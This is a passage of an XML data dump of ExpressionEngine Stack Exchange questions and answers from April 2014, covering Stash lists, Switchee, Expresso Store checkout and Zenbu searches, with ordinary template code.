  <row Id="21065" PostTypeId="2" ParentId="20834" CreationDate="2014-04-07T23:03:11.503" Score="2" Body="&lt;p&gt;We just came across a very similar issue where an Assets tag pair was not being parsed in one environment but was working fine in others while single tags were working fine everywhere. The solution for us turned out to be that we had to bump up the pcre.backtrack_limit value in the php.ini to 1000000 on the server where the tags weren't being parsed. It looks like that value needs to be set pretty high when there are templates with a lot of nested tags.&lt;/p&gt;&#xA;" OwnerUserId="2945" LastActivityDate="2014-04-07T23:03:11.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21067" PostTypeId="2" ParentId="21029" CreationDate="2014-04-08T01:24:27.333" Score="1" Body="&lt;p&gt;Not familiar with that plugin but you can try…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you're calling the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, you could simply place it inside that tag and it'll work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to have it outside the {exp:channel:entries} tag you could use Stash to record it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;catid&quot; parse_tags=&quot;yes&quot; type=&quot;snippet&quot; trim=&quot;yes&quot;} {!-- Save as snippet --}&#xA;{exp:url_title_to_entry_id url_title=&quot;{segment_2}&quot;}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:parse} {!-- Forces to parse after stash:set --}&#xA;{exp:gwcode_categories group_id=&quot;6&quot;&#xA;  entry_id=&quot;{catid}&quot;&#xA;  parse=&quot;inward&quot; depth=&quot;1&quot;}&#xA;{cat_name}&#xA;{/exp:gwcode_categories}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is off-the-top and may or may not work 'as-is' but the theory is sound ;)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-04-08T01:24:27.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21068" PostTypeId="2" ParentId="21027" CreationDate="2014-04-08T03:49:22.930" Score="0" Body="&lt;p&gt;The bugs mentioned in my question have been, in fact, fixed. The problem I was having was that any file that wasn't an image was being caught by EE's Apply XSS Filtering to Uploaded Files Setting. This setting is a bit overzealous and refused anything that wasn't an image. Turning this off will allow uploading of PDFs and other files within Grid and Matrix fields.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastActivityDate="2014-04-08T03:49:22.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21069" PostTypeId="1" AcceptedAnswerId="21119" CreationDate="2014-04-08T05:23:33.623" Score="4" ViewCount="354" Body="&lt;p&gt;I have created a custom member field, &lt;code&gt;{Google_Plus_URL}&lt;/code&gt;, where a URL like, &lt;em&gt;&lt;a href=&quot;https://plus.google.com/1051794532082275037724&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://plus.google.com/1051794532082275037724&lt;/a&gt;&lt;/em&gt; can be entered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, I reference this field as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if Google_Plus_URL}&#xA;&amp;lt;p&amp;gt;Connect with &amp;lt;a rel=&quot;author&quot; href=&quot;{Google_Plus_URL}&quot;&amp;gt;{screen_name} on Google+&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The end result is, unexpectedly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Connect with &amp;lt;a rel=&quot;author&quot; href=&quot;&amp;lt;a href=&quot;https://plus.google.com/1051794532082275037724&quot;&amp;gt;https://plus.google.com/1051794532082275037724&amp;lt;/a&amp;gt;&quot;&amp;gt;Mike Adamick on Google+&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In researching this issue, I come across the &quot;Automatically turn URLs and email addresses into links&quot; options in relation to channels, but there doesn't appear to be an similar setting for member data. Aside from using a plugin like the one proposed in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17078/how-to-control-which-links-are-automatically-turned-into-links&quot;&gt;this similar question&lt;/a&gt;, is there a built in solution I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE v2.5.5&lt;/p&gt;&#xA;" OwnerUserId="2947" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-04-09T18:08:30.243" Title="Is there a way to disable auto-convert URLs and email addresses into links for custom member fields?" Tags="|templates|members|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21071" PostTypeId="1" CreationDate="2014-04-08T06:52:43.867" Score="2" ViewCount="5714" Body="&lt;p&gt;I'm getting this error and can't understand why. This is for a site that I've reset the hosting to it's default state and have uploaded the site files and database to a basically new installation. It works 100% on the local environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the threads here and have checked my permissions on config.php and database.php. I've also triple checked all of the database credentials and I still can't figure out what's going on. The host is saying there is nothing wrong and we can access the DB just fine through phpmyadmin. What else am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="2948" LastActivityDate="2014-06-08T15:33:34.327" Title="EE Error: &quot;Unable to Load Site Preferences; No Preferences Found&quot;" Tags="|database-error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21072" PostTypeId="2" ParentId="21046" CreationDate="2014-04-08T08:22:50.933" Score="0" Body="&lt;p&gt;Solved - at least I have &lt;em&gt;a workaround&lt;/em&gt; even if it's not the correct solution. I have to wrap the code in the embedded template in {exp:channel entries}{/exp:channel entries} as well as the case calls to entry ids. I didnt realise you had to/could do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in the 1st embedded template with the switchee cases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;page-one&quot;}&#xA;{exp:channel:entries entry_id=&quot;49&quot;}&#xA;   {embed=&quot;includes/_page_content&quot;}&#xA;    {/exp:channel:entries}&#xA;{/case}&#xA;&#xA;{case value=&quot;page-two&quot;}&#xA;{exp:channel:entries entry_id=&quot;42&quot;}&#xA;   {embed=&quot;includes/_page_content&quot;}&#xA;    {/exp:channel:entries}&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have this in the 2nd embedded template (_page_content.html) that calls the page html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;assorted_content&quot; disable=&quot;member_data|trackbacks|pagination|categories&quot; limit=&quot;1&quot;}&#xA;{title}&#xA;{page_body}&#xA;etc...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if I needed to call different channels for the entry ids Id specify that in the Switchee template each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only my first attempt at Switchee - I need to do more complex nested stuff later (in meta open graph conditionals). It might be that the if:else addon would work better for that, I dont know yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help in keeping me thinking about what was wrong.&lt;/p&gt;&#xA;" OwnerUserId="1094" LastEditorUserId="1094" LastEditDate="2014-04-08T08:46:27.223" LastActivityDate="2014-04-08T08:46:27.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21073" PostTypeId="1" AcceptedAnswerId="21074" CreationDate="2014-04-08T09:14:46.103" Score="0" ViewCount="257" Body="&lt;p&gt;Using EE 273 and stash 252.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I add a prefix parameter to a &lt;code&gt;get_list&lt;/code&gt;, stash variables inside the list are not rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Set_list part&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get last 3 news --}&#xA;{exp:stash:set_list name=&quot;st_latestnews&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;news&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        orderby=&quot;date&quot;&#xA;        sort=&quot;desc&quot;&#xA;        limit=&quot;3&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {stash:st_item_title}{title}{/stash:st_item_title}&#xA;        {stash:st_item_url}{url_title_path=&quot;news_press/news_detail&quot;}{/stash:st_item_url}&#xA;        {stash:st_item_date}{entry_date format=&quot;%F %j, %Y&quot;}{/stash:st_item_date}&#xA;        {stash:st_item_machinedate}{entry_date format=&quot;%Y-%m-%d&quot;}{/stash:st_item_machinedate}&#xA;        {stash:st_item_img}{news_img}{/stash:st_item_img}&#xA;        {stash:st_item_img_caption}{news_img_caption}{/stash:st_item_img_caption}&#xA;        {stash:st_item_img_copyright}{news_img_copyright}{/stash:st_item_img_copyright}&#xA;        {stash:st_item_summary}{news_summary}{/stash:st_item_summary}&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get list without prefix: works (but no_results does not)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is rendered fine but no_results does not work here. Tried adding &lt;code&gt;parse_conditionals=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; but no dice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- display news list --}&#xA;{exp:stash:get_list name=&quot;st_latestnews&quot;}&#xA;&#xA;    {if count == 1}&amp;lt;ul class=&quot;list-compact  grid&quot;&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;p class=&quot;imgholder&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{st_item_img}&quot; width=&quot;600&quot; height=&quot;337&quot; crop=&quot;yes|center,center&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{st_item_img_caption} - &amp;amp;copy; {st_item_img_copyright}&quot; class=&quot;fluidimg&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;item-meta&quot;&amp;gt;&amp;lt;time datetime=&quot;{st_item_mdate}&quot;&amp;gt;{st_item_date}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;h2 class=&quot;item-title  item-title--small&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{st_item_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:eehive_hacksaw words=&quot;30&quot; append=&quot;&amp;amp;hellip;&quot;}{st_item_summary}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    {if count == total_results}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{if:else}&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;&#xA;    {!-- handling no result --}&#xA;    {if no_results}&amp;lt;p&amp;gt;No news found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get list with prefix: variables do not render (but no_results works)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With previous versions of Stash, this used to work to get the no_results tag to behave properly. Here, as soon as I add a prefix parameter, nothing renders, although the list is correctly populated and retrieved in the template debugger.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- display news list --}&#xA;{exp:stash:get_list name=&quot;st_latestnews&quot; prefix=&quot;stashprefix&quot;}&#xA;&#xA;    {if count == 1}&amp;lt;ul class=&quot;list-compact  grid&quot;&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;p class=&quot;imgholder&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{st_item_img}&quot; width=&quot;600&quot; height=&quot;337&quot; crop=&quot;yes|center,center&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{st_item_img_caption} - &amp;amp;copy; {st_item_img_copyright}&quot; class=&quot;fluidimg&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;item-meta&quot;&amp;gt;&amp;lt;time datetime=&quot;{st_item_mdate}&quot;&amp;gt;{st_item_date}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;h2 class=&quot;item-title  item-title--small&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{st_item_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:eehive_hacksaw words=&quot;30&quot; append=&quot;&amp;amp;hellip;&quot;}{st_item_summary}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    {if count == total_results}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{if:else}&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;&#xA;    {!-- handling no result --}&#xA;    {if stashprefix:no_results}&amp;lt;p&amp;gt;No news found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or am I missing something obvious here (as it could well be the case) ?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-08T09:39:25.533" Title="Stash get_list and prefix: variables not rendering" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21074" PostTypeId="2" ParentId="21073" CreationDate="2014-04-08T09:30:53.247" Score="1" Body="&lt;p&gt;The ever helpful Mark Croxton &lt;a href=&quot;https://twitter.com/croxton/status/453462539251486720&quot; rel=&quot;nofollow&quot;&gt;promptly responded via twitter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the changelog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stash 2.4.8: When using the &lt;code&gt;prefix=&quot;x&quot;&lt;/code&gt;, parameter with &lt;code&gt;get_list&lt;/code&gt;,&#xA;  only prefixed variables will now be parsed by default, unless&#xA;  &lt;code&gt;require_prefix=&quot;no&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the correct code for your variables to be parsed without prefix and the no_result tag to be working is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- display news list --}&#xA;{exp:stash:get_list name=&quot;st_latestnews&quot; prefix=&quot;myprefix&quot; require_prefix=&quot;no&quot;}&#xA;&#xA;    {if count == 1}&amp;lt;ul class=&quot;list-compact  grid&quot;&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;p class=&quot;imgholder&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{st_item_img}&quot; width=&quot;600&quot; height=&quot;337&quot; crop=&quot;yes|center,center&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{st_item_img_caption} - &amp;amp;copy; {st_item_img_copyright}&quot; class=&quot;fluidimg&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;item-meta&quot;&amp;gt;&amp;lt;time datetime=&quot;{st_item_mdate}&quot;&amp;gt;{st_item_date}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;h2 class=&quot;item-title  item-title--small&quot;&amp;gt;&amp;lt;a href=&quot;{st_item_url}&quot;&amp;gt;{st_item_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:eehive_hacksaw words=&quot;30&quot; append=&quot;&amp;amp;hellip;&quot;}{st_item_summary}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    {if count == total_results}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{if:else}&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;grid__unit  medium-unit-4of12&quot;&amp;gt;{/if}&#xA;&#xA;    {!-- handling no result --}&#xA;    {if myprefix:no_results}&amp;lt;p&amp;gt;No news found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-04-08T09:39:25.533" LastActivityDate="2014-04-08T09:39:25.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21075" PostTypeId="1" CreationDate="2014-04-08T10:56:13.830" Score="0" ViewCount="133" Body="&lt;p&gt;I am using the latest version of Expression Engine, Zoo Visitors and Expresso Store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use the automatic member creation functionality that comes with store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm having some difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code in my template (unrelated stuff removed)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;store_example/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;    payment_method=&quot;PayPal_Express&quot;&#xA;    register_member=&quot;yes&quot;&#xA;}&#xA;&#xA;&#xA;  {field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='store_example/checkout2'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After completing payment on Paypal I get the following errors, which area presented in the standard ee error screen.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You must submit a username&#xA;You must submit a username&#xA;You must submit an email address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Return to Previous Page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It says in the documentation that the username will use the order_email field.  I have not explicitly requested that a username be entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where I'm going wrong here.  Just wondering if Zoo Visitor is impacting on this process.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm expecting the user to receive an order confirmation email, and also an email with their account details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2014-04-08T18:45:48.547" LastActivityDate="2014-04-09T14:23:13.260" Title="Expresso Store, automatic member registration fails" Tags="|expresso-store|zoo-visitor|2.8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21076" PostTypeId="2" ParentId="21057" CreationDate="2014-04-08T10:58:40.310" Score="2" Body="&lt;p&gt;To get the logged in member use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-08T10:58:40.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21077" PostTypeId="1" CreationDate="2014-04-08T12:46:08.827" Score="0" ViewCount="151" Body="&lt;p&gt;I'm working on EE 2.8.1, Stash 2.5.2 and ChannelImages 5.4.15.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Stash. In a channel entry with limit 1 if've got the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;l_portfolio&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;            {portfolio_related_home}&#xA;                {stash:item_title}{portfolio_related_home:title}{/stash:item_title}&#xA;                {stash:item_id}{portfolio_related_home:count}{/stash:item_id}&#xA;&#xA;                {portfolio_related_home:portfolio_images limit=&quot;3&quot; prefix=&quot;ci&quot;}&#xA;                {if ci:count == '1'}&#xA;                     {stash:img1{portfolio_related_home:count}}{ci:url:medium}{/stash:img1{portfolio_related_home:count}}&#xA;                {/if}&#xA;                {if ci:count == '2'}&#xA;                    {stash:img2{portfolio_related_home:count}}{ci:url:small}{/stash:img2{portfolio_related_home:count}}&#xA;                {/if}&#xA;                {if ci:count == '3'}&#xA;                    {stash:img3{portfolio_related_home:count}}{ci:url:small}{/stash:img3{portfolio_related_home:count}}&#xA;                {/if}&#xA;                {/portfolio_related_home:portfolio_images}&#xA;&#xA;            {/portfolio_related_home}&#xA;{/exp:stash:set_list}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that it would be best to use a nested list for the portfolio images. But I only need three images and they need to be parsed in different order per related entry.&#xA;Portfolio_related_home is the relationship field. portfolio_images is the ChannelImages field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I output stash. It almost works. The only thing is that the images per related entry are the same. So I'm getting three images witch are the same. The ci:count works but when I output ci:id or ci:url they keep the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;l_portfolio&quot; }&#xA;            &amp;lt;div&amp;gt;               &#xA;                {if item_id &amp;lt;&amp;gt; '2'}&#xA;                    &amp;lt;div class=&quot;hp-img-container&quot; &amp;gt;&amp;lt;img src=&quot;{img1{item_id}}&quot; /&amp;gt;&#xA;                    &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;{item_title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{item_content}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;img src=&quot;{img2{item_id}}&quot; /&amp;gt;   &#xA;                    &amp;lt;img src=&quot;{img3{item_id}}&quot; /&amp;gt;           &#xA;                {if:else}&#xA;                    &amp;lt;img src=&quot;{img2{item_id}}&quot; /&amp;gt;   &#xA;                    &amp;lt;img src=&quot;{img3{item_id}}&quot; /&amp;gt;   &#xA;                    &amp;lt;div class=&quot;hp-img-container&quot; &amp;gt;&amp;lt;img src=&quot;{img1{item_id}}&quot; /&amp;gt;&#xA;                    &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;{item_title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{item_content}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;                      &#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the final HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div&amp;gt;&#xA;        /uploads/images/18/img02__small.jpg&quot;&amp;gt;   &#xA;        /uploads/images/18/img02__small.jpg&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;hp-img-container&quot;&amp;gt;/uploads/images/18/img02__large.jpg&#xA;        &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;Title&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;        &amp;lt;div class=&quot;hp-img-container&quot;&amp;gt;/uploads/images/19/img03__large.jpg&#xA;        &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;Title 2&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        /uploads/images/19/img03__small.jpg &#xA;        /uploads/images/19/img03__small.jpg         &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I must be doing something wrong.  Or there must be a better way to do this. I hope someone can help me out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2016-06-11T10:09:06.980" Title="Relationship, Stash and Channel Images outputs same image" Tags="|stash|relationships|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21078" PostTypeId="1" CreationDate="2014-04-08T13:20:24.567" Score="1" ViewCount="268" Body="&lt;p&gt;I have two channels product &amp;amp; product_info.&#xA;The product and product_info have a one to many relationship using playa. The product_info list the product as a parent. Both channels use Matrix fields in the field set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a one off event, I need to duplicate a product and all of it's linked product_info entries for versioning purposes. I would like any suggestions on the best way of achieving this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current ideas are:&#xA;- Dump out the db into a sql file and manually hunt down all the insert statements i want to duplicate and copy/pasta them after doing some find replace on id's&#xA;- Write a script to query certain tables and insert them back in as new records&#xA;- try and use something like Datagrab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently pushing forward with the db script but I am finding EE database &quot;design&quot; challenging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for any suggestions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;t&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2014-04-09T11:41:41.340" Title="How can I duplicate content" Tags="|ee2|duplicate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21081" PostTypeId="1" AcceptedAnswerId="21086" CreationDate="2014-04-08T14:13:53.313" Score="0" ViewCount="267" Body="&lt;p&gt;I am looking for a good guide/example Grunt being used in a multiuser Expression Engine Environment. I do Understand the gruntfile will not be EE specific, but I am hoping there are some articles that explore and explain any issues regarding using with EE.&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="7705" LastEditDate="2020-03-25T13:37:23.143" LastActivityDate="2020-03-26T13:05:24.390" Title="Grunt/Gulp with Expression Engine" Tags="|automation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21082" PostTypeId="1" CreationDate="2014-04-08T14:20:10.190" Score="0" ViewCount="54" Body="&lt;p&gt;We have a saved search in Zenbu that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=zenbu&amp;amp;channel_id=14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has started returning a blank page, though it doesn't take more than 2 seconds to return that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not seeing any memory or CPU spikes on the server or real degradation in performance. The site does have a lot of channel entries, most of which incorporate Structure as well as Zoo Visitor members. (The latter is the channel the saved search is looking for.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the &quot;Channel is&quot; filter in the Zenbu screen on a small channel, I get back results immediately. If I use it on the Zoo Visitor Members channel, I'm getting no results now. Same goes 